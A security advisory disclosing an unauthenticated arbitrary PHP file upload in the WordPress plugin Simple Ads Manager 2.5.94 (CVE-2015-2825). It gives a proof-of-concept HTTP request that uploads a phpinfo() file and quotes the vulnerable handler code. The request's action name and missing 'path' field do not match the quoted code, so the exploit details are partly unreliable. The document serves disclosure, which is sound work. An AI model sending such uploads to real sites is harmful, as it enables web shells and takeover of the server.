WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload

#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: targer.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026
Content-Length: 683

-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="action"

upload_ad_image
-----------------------------108989518220095255551617421026—


+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 303 to 314

    case 'sam_ajax_upload_ad_image':
      if(isset($_POST['path'])) {
        $uploadDir = $_POST['path'];
        $file = $uploadDir . basename($_FILES['uploadfile']['name']);

        if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
          $out = array('status' => "success");
        } else {
          $out = array('status' => "error");
        }
      }
      break;
	  
	  
+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
- https://www.youtube.com/watch?v=8IU9EtUTkxI